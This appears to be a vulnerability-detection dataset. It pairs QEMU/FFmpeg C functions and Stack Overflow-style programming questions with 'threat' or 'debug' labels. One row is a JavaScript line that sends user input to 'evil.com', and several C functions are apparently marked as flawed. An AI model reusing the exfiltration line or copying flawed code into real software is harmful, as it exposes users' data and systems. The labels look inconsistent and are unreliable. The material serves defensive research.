problem
stringlengths
26
131k
labels
class label
2 classes
static int proxy_closedir(FsContext *ctx, V9fsFidOpenState *fs) { return closedir(fs->dir); }
1threat
changing letters in text in R : I have a text. It includes letters like ş ç ü ö ı. I need to changed them with s c u o i. I wrote following code: `string <- "ş ç ı ğ ü ö f s x q" chartr("ş ç ı ğ ü ö", "s c i g u o", string)` My text file name is `text`. How can apply the code above to my text, since I have still...
0debug
static void *bochs_bios_init(void) { void *fw_cfg; uint8_t *smbios_table; size_t smbios_len; uint64_t *numa_fw_cfg; int i, j; fw_cfg = fw_cfg_init(BIOS_CFG_IOPORT, BIOS_CFG_IOPORT + 1, 0, 0); fw_cfg_add_i32(fw_cfg, FW_CFG_ID, 1); fw_cfg_add_i64(fw_cfg, FW_CFG_RAM_SIZE, (uint...
1threat
Same layout Look different in to device which have same screen size : I have 2 phone amsung s6 edge+ & Samsung note 4, Both have same same screen size 5.7 inch & same screen resolution 1440X2560 & both layout have xxxhdpi density. still same layout look different on both device. even top status bar & action bar is a...
0debug
static int virtio_blk_load(QEMUFile *f, void *opaque, int version_id) { VirtIOBlock *s = opaque; if (version_id != 2) return -EINVAL; virtio_load(&s->vdev, f); while (qemu_get_sbyte(f)) { VirtIOBlockReq *req = virtio_blk_alloc_request(s); qemu_get_buffer(f, (unsigned ...
1threat
Elixir - How do I split a string into a list by every 3 characters : <p>if I have the string <code>"UGGUGUUAUUAAUGGUUU"</code> how to I turn it into a list split up by every 3 characters into <code>["UGG", "UGU", "UAU", "UAA", "UGG", "UUU"]</code>?</p>
0debug
Speed up expensive IEnumerable<T> operation : <p>I am working on a C# library that recursively enumerates the subfolders of a remote share over the network. This is an expensive operation, and there may be thousands of folders to be traversed. The method that carries out this work for the client returns an <code>IEnume...
0debug
Get only Objects which get match from other Array of object : <p>I am having a two array of objects,</p> <pre><code>let list = [ { "currency": "Albania Lek", "abbreviation": "ALL", }, { "currency": "Afghanistan Afghani", "abbreviation": "AFN", }, { "currency"...
0debug
PEM routines:PEM_read_bio:bad end line : <p>I'm trying to parse the developer certificate in embedded.mobileprovision file. Firstly I use</p> <p><code>security cms -D -i embedded.mobileprovision</code> </p> <p>to get the base64 developer certificate string. </p> <p>Then I split the string every 64 characters and sto...
0debug
Why is grid span not being excepted for "blank1" in IE 11 : css grid issue: Third grid item "blank1" should row span and cover both row 1 and row 2 of column 3. But it is not working in IE 11. It is only covering the first row. Here is a link to the file online. Look at in in firefox and it will show what it i...
0debug
int attribute_align_arg sws_scale(struct SwsContext *c, const uint8_t * const srcSlice[], const int srcStride[], int srcSliceY, int srcSliceH, uint8_t *const dst[], const int dstSt...
1threat
static int mjpegb_decode_frame(AVCodecContext *avctx, void *data, int *data_size, uint8_t *buf, int buf_size) { MJpegDecodeContext *s = avctx->priv_data; uint8_t *buf_end, *buf_ptr; AVFrame *picture = data; GetBitContext hgb; uint3...
1threat
Why does Google say I need chrome to use my Yubico security key? : <p>Not sure if this is the right place to ask, but here goes. When I'm trying to sign into google, and it asks for my security key, it says that it can only be used in Chrome. This is a problem because my school only has internet explorer on the compute...
0debug
Getting metadata in EF Core: table and column mappings : <p>Looking to get metadata in EF Core, to work with the mappings of objects &amp; properties to database tables &amp; columns.</p> <p>These mappings are defined in the DBContext.cs OnModelCreating() method, mapping tables with .ToTable(), and columns via .Proper...
0debug
static void rm_read_audio_stream_info(AVFormatContext *s, AVStream *st, int read_all) { RMContext *rm = s->priv_data; ByteIOContext *pb = &s->pb; char buf[256]; uint32_t version; int i; version = get_be32(pb); if (((version >> 16) & 0xff) == 3) { ...
1threat
Creating an empty nested list in python : <p>i'm trying to create an empty nested list in python. I have searched for information regarding nested list and most are usually nested lists that already has values in it. </p> <p>The reason I needed a nested list is because I have a set of items: Apple, Pears and Oranges. ...
0debug
How to parse JSON from the Invoke-WebRequest in PowerShell? : <p>When sending the GET request to the server, which uses self-signed certificate:</p> <pre><code>add-type @" using System.Net; using System.Security.Cryptography.X509Certificates; public class TrustAllCertsPolicy : ICertificatePolicy { ...
0debug
How can i use scanf and if with strings (Very basic) : I just had my first class in c programing at college and i did this: #include <stdio.h> int main() { char answer='x'; printf("Should the crocodile eat the man? y/n "); scanf("%s",&answer); printf("%s",& answer); if(answer =...
0debug
Getting unexpected behaviour with firefox web console, equality for undefined not working fine : <p>When trying to write following javascript code snippet in mozilla web console then getting following unexpected behaviour.Please refer below image.When I declared a variable x then the undefined check evaluated to true.B...
0debug
how to get image from directory and save the image into db using wpf? : i want get image from directory and insert into the database of SQL server,retrieve image from database of SQL server.
0debug
Connection reset by peer while running Apache Spark Job : <p>We have two HDP cluster's setup let's call them A and B. </p> <p><strong>CLUSTER A NODES</strong> : </p> <ul> <li>It contains a total of 20 commodity machines.</li> <li>There are 20 data nodes.</li> <li>As namenode HA is configured, there is one active and ...
0debug
Format date with "/" to "-" with javascript : <p>I have this Javascript function that takes X number of days and returns a date in the past</p> <pre><code> var GetDateInThePastFromDays = function (days) { var today = new Date(); _date = new Date(today.getFullYear(), today.getMonth(), today.getDate() -...
0debug
Visual studio code cmd error: Cannot be loaded because running scripts is disabled on this system : <p>Inside of visual studio code, I'm trying to execute a script.bat from the command line, but I'm getting the following error:</p> <blockquote> <p>File C:\Theses_Repo\train-cnn\environment\Scripts\activate.ps1 cannot...
0debug
def even_or_odd(N): l = len(N) if (N[l-1] =='0'or N[l-1] =='2'or N[l-1] =='4'or N[l-1] =='6'or N[l-1] =='8'or N[l-1] =='A'or N[l-1] =='C'or N[l-1] =='E'): return ("Even") else: return ("Odd")
0debug
Event isn't firing on click : <p>I have appended the following HTML to a Div called <code>videoList</code> but when I click the link it isn't firing the ajax call but it's going to the url defined in <code>href</code>. I have tried javascript void in href but still it's not firing the ajax on click. No error is present...
0debug
Pass parameters to Airflow Experimental REST api when creating dag run : <p>Looks like Airflow has an experimental REST api that allow users to create dag runs with https POST request. This is awesome. </p> <p>Is there a way to pass parameters via HTTP to the create dag run? Judging from the official docs, found <a hr...
0debug
Change the format of the returned data when selecting records. Flask : <p>In my flask application, in routes.py I get entries with specific fields of the <code>Location</code> model:</p> <pre><code>... location = db.session.query(Location.id, Location.name,Location.code, Location.id_parent).all() newLocat = list( loca...
0debug
Can't we do node creation using pointer to object in C++? : I was solving this problem on Linked List on hacker rank : https://www.hackerrank.com/challenges/insert-a-node-at-the-head-of-a-linked-list/ And got correct answer for the given code . Most of the code was prewritten ; I only had to complete the function in...
0debug
static void super2xsai(AVFilterContext *ctx, uint8_t *src, int src_linesize, uint8_t *dst, int dst_linesize, int width, int height) { Super2xSaIContext *sai = ctx->priv; unsigned int x, y; uint32_t color[4][4]; unsigned char *s...
1threat
Unable to perform php in command line : <p>I am new to php scripting and been following a tutorial video. I'm getting an error on trying to output an array from php via command line, this is the code named as array1.php:</p> <pre><code>&lt;? # Canada, USA, Mexico $arr1 = array("Toronto", "Ottawa", "Montreal", "Quebec"...
0debug
void HELPER(set_cp15)(CPUARMState *env, uint32_t insn, uint32_t val) { int op1; int op2; int crm; op1 = (insn >> 21) & 7; op2 = (insn >> 5) & 7; crm = insn & 0xf; switch ((insn >> 16) & 0xf) { case 0: if (arm_feature(env, ARM_FEATURE_XSCALE)) br...
1threat
How did a vector became a matrix? : So i found this code on the internet but as i'm not that familiar with C++ i found difficult to understand this: how does a vector suddenly becomes a matrix? thanks! :) int main(){ int n; string v[MAX]; cin >> n; for(int i=0;i<n;i++) c...
0debug
merge sort infinite recursion : I'm learning Ruby and algorithms at the current moment an would like some guidance in solving this issue that has arise. I haven't started the merge process yet. So far I've only focused on dividing the array over and over again until only 1 number is left in the array. Below is my code ...
0debug
How can I update ASP.NET Core app over an existing/running site without stopping the web server? : <p>We have an ASP.NET Core site running on our test server that we would like to auto-deploy by XCopy to our IIS web server as we do our current apps, where I already have the site running. I've added a publish profile th...
0debug
java return statement not returning : Why does the code below return -1 instead of arr.length-1? If the find function is looking for 24 it should return 5, but returns -1. It should only return -1 if n is not found in arr. Thanks for your help. public class linearArraySearch { public static void main(String...
0debug
static void init_vlcs(FourXContext *f){ static int done = 0; int i; if (!done) { done = 1; for(i=0; i<4; i++){ init_vlc(&block_type_vlc[i], BLOCK_TYPE_VLC_BITS, 7, &block_type_tab[i][0][1], 2, 1, &block_type_tab[i][0][0], 2, ...
1threat
what method does the computer use to add unsigned integers : int main(){ unsigned int num1; unsigned int num2; unsigned int sum = num1 + num2; cout << hex << sum; } If i have two unsigned integers say num1 and num2. And then I tell the computer to unsigned int sum = n...
0debug
How do I create react-router v4 breadcrumbs? : <p>How do I create react-router v4 breadcrumbs? I tried asking this question on the react-router V4 website via an issue ticket. They just said to see the <a href="https://reacttraining.com/react-router/examples/recursive-paths" rel="noreferrer">recursive paths</a> example...
0debug
<%= %> cannot be connected with equals() : <%= %> cannot be connected with equals(). I am making JSP & Servlet app. Now I wrote in JSP file like <!-- begin snippet: js hide: false console: true babel: false --> <!-- language: lang-css --> <table> <tbody> ...
0debug
START_TEST(qobject_to_qdict_test) { fail_unless(qobject_to_qdict(QOBJECT(tests_dict)) == tests_dict); }
1threat
static int mp3_read_probe(AVProbeData *p) { int max_frames, first_frames; int fsize, frames, sample_rate; uint32_t header; uint8_t *buf, *buf2, *end; AVCodecContext avctx; if(id3v2_match(p->buf)) return AVPROBE_SCORE_MAX/2+1; max_frames = 0; buf = p->buf; end ...
1threat
Python converting data frame to comma separated rows : <p>I have a pandas dataframe, call it df with 2 columns:</p> <pre><code> user_id result --------- --------- 12 0 233 1 189 0 </code></pre> <p>And so forth. Is there an easy way to write this d...
0debug
int qemu_savevm_state(QEMUFile *f) { int saved_vm_running; int ret; saved_vm_running = vm_running; vm_stop(0); ret = qemu_savevm_state_begin(f); if (ret < 0) goto out; do { ret = qemu_savevm_state_iterate(f); if (ret < 0) goto out; }...
1threat
Error running: Project has no JDK configured in IntelliJ IDEA Ultimate : <p>When I try to execute program ergo, it gives me an error. </p> <p><strong>Error running: Project has no JDK configured</strong></p> <p>Can anybody help me? I'm newbie in IntelliJ IDEA.</p>
0debug
static int ff_asf_parse_packet(AVFormatContext *s, AVIOContext *pb, AVPacket *pkt) { ASFContext *asf = s->priv_data; ASFStream *asf_st = 0; for (;;) { int ret; if(pb->eof_reached) return AVERROR_EOF; if (asf->packet_size_left < FRAME_HEADER_SIZE || as...
1threat
Google map is not displaying in my android program : I'm new to the android program now I am working on maps so it's my first sample program in android maps tutorial.I get key from google console and I gave permissions in manifest file so this is <uses-permission android:name="android.permission.INTERNET"/> ...
0debug
pairwise adding element in a list : I have two list of tuples [1,3000],[2,5000],[3,7000],[4,10000] [1,2000],[2,3000],[3,4000],[4,5000]] the sum is 10000. Here we have [2,5000],[4,5000] and [3,7000],[2,3000] so the output should be **[2,4]** and **[3,2]** [[1,2000],[2,4000],[3,6000]] [[1,20...
0debug
fatal error: 'Python.h' file not found while installing opencv : <p>I am trying to get opencv 3.1 installed for Python on my Mac OS X 10.10.5 I'm following the steps as outlined here - <a href="http://www.pyimagesearch.com/2015/06/15/install-opencv-3-0-and-python-2-7-on-osx/">http://www.pyimagesearch.com/2015/06/15/ins...
0debug
Remove the "This is the format of your plot grid:" in a plotly subplot in a Jupyter Notebook : <p>When using Plotly in a Jupyter Notebook plotting an offline iplot figure with subplots, before the figure I get the output:</p> <pre><code>This is the format of your plot grid: [ (1,1) x1,y1 ] [ (1,2) x2,y2 ] [ (1,...
0debug
Apply CSS to all but last element? : <p>I've got the following html:</p> <pre><code>&lt;ul class="menu"&gt; &lt;li&gt;&lt;a&gt;list item 1&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a&gt;list item 2&lt;/a&gt;&lt;/li&gt; ... &lt;li&gt;&lt;a&gt;list item 5&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; </code></pre> <p>I want to app...
0debug
static void qemu_announce_self_once(void *opaque) { int i, len; VLANState *vlan; VLANClientState *vc; uint8_t buf[256]; static int count = SELF_ANNOUNCE_ROUNDS; QEMUTimer *timer = *(QEMUTimer **)opaque; for (i = 0; i < MAX_NICS; i++) { if (!nd_table[i].used) c...
1threat
M48t59State *m48t59_init(qemu_irq IRQ, target_phys_addr_t mem_base, uint32_t io_base, uint16_t size, int model) { DeviceState *dev; SysBusDevice *s; M48t59SysBusState *d; M48t59State *state; dev = qdev_create(NULL, "m48t59"); qdev_prop_set_uint32(dev, "model", ...
1threat
static gboolean nbd_accept(QIOChannel *ioc, GIOCondition cond, gpointer opaque) { QIOChannelSocket *cioc; cioc = qio_channel_socket_accept(QIO_CHANNEL_SOCKET(ioc), NULL); if (!cioc) { return TRUE; } if (state >= TERMINATE) { object_un...
1threat
void ff_put_h264_qpel8_mc02_msa(uint8_t *dst, const uint8_t *src, ptrdiff_t stride) { avc_luma_vt_8w_msa(src - (stride * 2), stride, dst, stride, 8); }
1threat
static void assert_codec_experimental(AVCodecContext *c, int encoder) { const char *codec_string = encoder ? "encoder" : "decoder"; AVCodec *codec; if (c->codec->capabilities & CODEC_CAP_EXPERIMENTAL && c->strict_std_compliance > FF_COMPLIANCE_EXPERIMENTAL) { av_log(NULL, AV_LOG_ERROR,...
1threat
static int ftp_passive_mode(FTPContext *s) { char *res = NULL, *start, *end; int i; const char *command = "PASV\r\n"; const int pasv_codes[] = {227, 501, 0}; if (ftp_send_command(s, command, pasv_codes, &res) != 227 || !res) goto fail; start = NULL; for (i = 0; i < strl...
1threat
With C# a dynamic table in asp.net MVC : I want to have a dynamic table in MVC. I copied some code from the internet but it doesn't work. I haven't an error but I get no values on my site. My goal is just a little website with a dynamic table. View: @model IEnumerable<ProjectName.Models.TestModel> @...
0debug
static int cinepak_decode_vectors (CinepakContext *s, cvid_strip *strip, int chunk_id, int size, const uint8_t *data) { const uint8_t *eod = (data + size); uint32_t flag, mask; uint8_t *cb0, *cb1, *cb2, *cb3; unsigned int x, y; char ...
1threat
long do_rt_sigreturn(CPUARMState *env) { struct target_rt_sigframe *frame = NULL; abi_ulong frame_addr = env->xregs[31]; trace_user_do_rt_sigreturn(env, frame_addr); if (frame_addr & 15) { goto badframe; } if (!lock_user_struct(VERIFY_READ, frame, frame_addr, 1)) { ...
1threat
how to change navigationitem title color : <p>I think all day to change the navigation Bar title color, but it doesn't work. this is my code:</p> <pre><code>var user: User? { didSet { navigationItem.title = user?.name observeMessages() } } </code></pre> <p>I use didSet to show the title on t...
0debug
BlockStatsList *qmp_query_blockstats(bool has_query_nodes, bool query_nodes, Error **errp) { BlockStatsList *head = NULL, **p_next = &head; BlockBackend *blk = NULL; BlockDriverState *bs = NULL; query_nodes = has_qu...
1threat
SQL INSERT INTO Syntax error. Basic Database : <p>I'm attempting to insert a new row into a table and I am getting a syntax error. I successfully inserted rows into different tables in the same database withe the same format with no issues. The scrip is as follows</p> <pre><code>INSERT INTO Ordertbl(OrdNo, OrdDate, Cu...
0debug
document.location = 'http://evil.com?username=' + user_input;
1threat
Bash Script to read a file and add the contents : I have no idea of bash scripting, but I need to write one to do the following: I have the following contents in the file, and I want to filter Executor Deserialize Time and add all the values to get the final result. How can I do that? Thanks in advance! {"Even...
0debug
matplotlib bar chart: space out bars : <p>How do I increase the space between each bar with matplotlib barcharts, as they keep cramming them self to the centre.<a href="https://i.stack.imgur.com/oYxW1.png" rel="noreferrer"><img src="https://i.stack.imgur.com/oYxW1.png" alt="enter image description here"></a> (this is w...
0debug
void *etraxfs_eth_init(NICInfo *nd, target_phys_addr_t base, int phyaddr) { struct etraxfs_dma_client *dma = NULL; struct fs_eth *eth = NULL; qemu_check_nic_model(nd, "fseth"); dma = qemu_mallocz(sizeof *dma * 2); eth = qemu_mallocz(sizeof *eth); dma[0].client.push = eth_tx_push; dma[0].client.opa...
1threat
Using python 3.x, how to find the sum of this series using loops. x - x^2/fact(2) + x^3/fact(3) ... -x^6/fact(6) : I tried various ways, even used nested 'for' loops, but I can't seem to figure out the code, any help?
0debug
static void init_excp_602 (CPUPPCState *env) { #if !defined(CONFIG_USER_ONLY) env->excp_vectors[POWERPC_EXCP_RESET] = 0x00000100; env->excp_vectors[POWERPC_EXCP_MCHECK] = 0x00000200; env->excp_vectors[POWERPC_EXCP_DSI] = 0x00000300; env->excp_vectors[POWERPC_EXCP_ISI] = 0x00000400; ...
1threat
static int teletext_decode_frame(AVCodecContext *avctx, void *data, int *data_size, AVPacket *pkt) { TeletextContext *ctx = avctx->priv_data; AVSubtitle *sub = data; const uint8_t *buf = pkt->data; int left = pkt->size; uint8_t pesheader[45] = {0x00, 0x00, 0x01, 0xbd...
1threat
Android Button: get value? I do not mean the text : I have an android button with a text. When the button is clicked, I want to access the database for which I need an integer associated with the button. I do not mean the text of the button which is visible to the user (i.e. not the string "Save data"). I mean somethin...
0debug
static void i440fx_pcihost_get_pci_hole64_start(Object *obj, Visitor *v, const char *name, void *opaque, Error **errp) { PCIHostState *h = PCI_HOST_BRIDGE(obj); Range w64; pci_bus_get_w64_range(h->bus, &w...
1threat
Operator '==' cannot be applied to operands of type 'bool' and 'string' in mvc c# : <p>I am new in MVC C#. I am getting this error, I have checked and found similar which is not going to my error.</p> <p>The error is - <i>"Operator '==' cannot be applied to operands of type 'bool' and 'string'"</i></p> <p>The Code is...
0debug
static void qemu_kvm_eat_signals(CPUState *env) { struct timespec ts = { 0, 0 }; siginfo_t siginfo; sigset_t waitset; sigset_t chkset; int r; sigemptyset(&waitset); sigaddset(&waitset, SIG_IPI); sigaddset(&waitset, SIGBUS); do { r = sigtimedwait(&waitset, &sigi...
1threat
static int decode_frame_header(VP8Context *s, const uint8_t *buf, int buf_size) { VP56RangeCoder *c = &s->c; int header_size, hscale, vscale, i, j, k, l, m, ret; int width = s->avctx->width; int height = s->avctx->height; s->keyframe = !(buf[0] & 1); s->profile = (buf[0]>>1) & 7; ...
1threat
minimac2_read(void *opaque, target_phys_addr_t addr, unsigned size) { MilkymistMinimac2State *s = opaque; uint32_t r = 0; addr >>= 2; switch (addr) { case R_SETUP: case R_MDIO: case R_STATE0: case R_COUNT0: case R_STATE1: case R_COUNT1: case R_TXCOUNT: ...
1threat
static void mov_text_text_cb(void *priv, const char *text, int len) { MovTextContext *s = priv; av_strlcpy(s->ptr, text, FFMIN(s->end - s->ptr, len + 1)); s->ptr += len; }
1threat
void yuv2rgb_altivec_init_tables (SwsContext *c, const int inv_table[4]) { vector signed short CY, CRV, CBU, CGU, CGV, OY, Y0; int64_t crv __attribute__ ((aligned(16))) = inv_table[0]; int64_t cbu __attribute__ ((aligned(16))) = inv_table[1]; int64_t cgu __attribute__ ((aligned(16))) = inv_table[2]; int...
1threat
How to avoid overlapping OnClicks? : I'm using a Relative Layout where I've placed a Button over an Image View as shown [here][1]. <br /> The problem is I've used `OnClick` on both button and Image View that refers to different methods i.e., button when clicked calls a method, Image when clicked calls a different m...
0debug
JavaFX or Swing in a new project : <p>Well, i have 180 days to construct a new project, where i should use the TOP tecnologies (Java 8, Hibernate 5 and more ..)</p> <p>I have a big doubt before start it: What GUI Framework should i use ?</p> <p>If i should use Swing (as i always did) or start this project with JavaFX...
0debug
i wnt disply that javascript via url plese help me : i want disply this but its not worcking help me document.write('<a href="/site"><img src="" alt="image"/></a> var answer = confirm ("Please click on OK to continue loading my page, or CANCEL to be directed to the Yahoo site.") if (answer) window.location="http...
0debug
Finding the limit of a sequence in python, jupyter notebook : <p>I’ve got a sequence a(n)=(5-77sin(n)+8n^2)/(1-4n^2) and I’m trying to find a candidate for the limit of this sequence. How do I do this? I’ve tried using a code below but that didn’t work so any ideas?<a href="https://i.stack.imgur.com/zUd3V.jpg" rel="nof...
0debug
what does the following Line of code do in javascript $('div[class^="remainingQtyErrMsg"]').hide(); : <p>what does the following Line of code do in <strong>javascript/JQuery</strong>?</p> <pre><code>$('div[class^="remainingQtyErrMsg"]').hide(); </code></pre>
0debug
static av_cold int vtenc_close(AVCodecContext *avctx) { VTEncContext *vtctx = avctx->priv_data; if(!vtctx->session) return 0; VTCompressionSessionInvalidate(vtctx->session); pthread_cond_destroy(&vtctx->cv_sample_sent); pthread_mutex_destroy(&vtctx->lock); CFRelease(vtctx->session); ...
1threat
C++ Simulate key press and mantain it pressed on Windows : I Have this C++ Function that receives Virtual Key and Press/Release the key: void SendKey (WORD wVk, bool press) { keybd_event(wVk, 0, press? 0 : KEYEVENTF_KEYUP, 0); } But it does just press the key 1 time, not constantly as i expected....
0debug
static int pci_ne2000_init(PCIDevice *pci_dev) { PCINE2000State *d = DO_UPCAST(PCINE2000State, dev, pci_dev); NE2000State *s; uint8_t *pci_conf; pci_conf = d->dev.config; pci_config_set_vendor_id(pci_conf, PCI_VENDOR_ID_REALTEK); pci_config_set_device_id(pci_conf, PCI_DEVICE_ID_REALTEK_...
1threat
HTML form posting default values : <p>I have a HTML form in which for some fields the user will enter the values and for some some fields i want to pass some default values, is there a way to do it?</p>
0debug
static void xen_set_memory(struct MemoryListener *listener, MemoryRegionSection *section, bool add) { XenIOState *state = container_of(listener, XenIOState, memory_listener); hwaddr start_addr = section->offset_within_address_space; ram_addr_t size...
1threat
How can i generate unique number as format XXXX-XXXX-XXXX using c# : <p>I want to generate number as format above and I try to use <code>UUID()</code> and <code>GUID()</code> but it is not what I want(difference format and it is hexadecimal not number)</p> <p>anyone have any idea or logic to do it?</p>
0debug
Make condition in one line? : <p>Usually I made the <code>if/else</code> condition like this:</p> <pre><code>if(empty($data['key'])) { $err = "empty . $key "; } </code></pre> <p>but I saw that there is the <a href="https://davidwalsh.name/php-shorthand-if-else-ternary-operators" rel="nofollow">ternary operator.</...
0debug
Convert swift2 code to swift3 : Here is the code I would like compatible with swift3: { let size = text.boundingRectWithSize(CGSizeMake(view.frame.width - 26, 2000), options: NSStringDrawingOptions.UsesFontLeading.union(.UsesLineFragmentOrigin), context: nil).size }
0debug
Acess phone camera with a button (HTML) : I'm developing a application that needs to acess the phone camera. I'm currently using the Ratchet Framework but that's not really relevant here. I have a button that needs to open the camera onCLick. I know that to acess the camera we need this: <input type="file" a...
0debug
static void qmp_input_start_struct(Visitor *v, void **obj, const char *kind, const char *name, size_t size, Error **errp) { QmpInputVisitor *qiv = to_qiv(v); const QObject *qobj = qmp_input_get_object(qiv, name); if (!qobj || qobject_type(qobj) != QTYPE_QDICT) { ...
1threat
static void cmv_decode_intra(CmvContext * s, const uint8_t *buf, const uint8_t *buf_end){ unsigned char *dst = s->frame.data[0]; int i; for (i=0; i < s->avctx->height && buf+s->avctx->width<=buf_end; i++) { memcpy(dst, buf, s->avctx->width); dst += s->frame.linesize[0]; buf +...
1threat
Removing the Hardcoded MYSQL connection string : [this it the connection string that is hardcoded][ ost <<" DRIVER=SQL Server Native Client 11.0; SERVER=Avchar-D\\ENTERPRISE2014;Database="<< czDataSourceName << ";Uid=da; Pwd=P@ssw0rd10;Integrated Security=SSPI;Persist Security Info=False";
0debug
How to reverse a string in javascript without using any inbuild funcition ,meanwhile it can change the original string : function reverse1(str){ var a = ""; for(var i = 0; i <= str.length/2; i++){ a = str[i]; str[i] = str[str.length-i-1]; str[str.length-i-1] = a; ...
0debug
Split on newline, but not newline-space in JS : <p>I am trying to split my string into an array on every new line, but not if a newline begins with a space. </p> <pre><code>ORGANIZER;organizer@example.com //YES ATTENDEE; user@example.com, another@exa //YES mple.com, peter@example.com //NO DESCRIPTION;LANGUAGE=en-US /...
0debug
static int check_strtox_error(const char *nptr, char *ep, const char **endptr, int libc_errno) { if (libc_errno == 0 && ep == nptr) { libc_errno = EINVAL; } if (!endptr && *ep) { return -EINVAL; } if (endptr) { *endptr = ep; } ...
1threat
R: find closest match of two data frames : I hope you can help me with this question: I have a data.frame with x and y coordinates and now I want to find the closest matching values on a different data.frame with x and y coordinates. It is important that x&y is considered as one as they are a pair. I hope you und...
0debug
switch two <a> tag elements on the nav in the DOM wth event listeners : <p>Right now i am working on trying to swap the order of tags on a menu so that they still maintain there event listeners and change order on the front end. For example, </p> <pre><code> &lt;a id = "A" href = ""&gt;&lt;/a&gt; &lt;a id = "B" href...
0debug
Flutter: Minimum height on horizontal list view : <p>I'm trying to create a horizontal scrolling list of items in Flutter, and I want that list to only take up the necessary height based on its children. By design “<code>ListView</code> tries to expand to fit the space available in its cross-direction” (from the <a hre...
0debug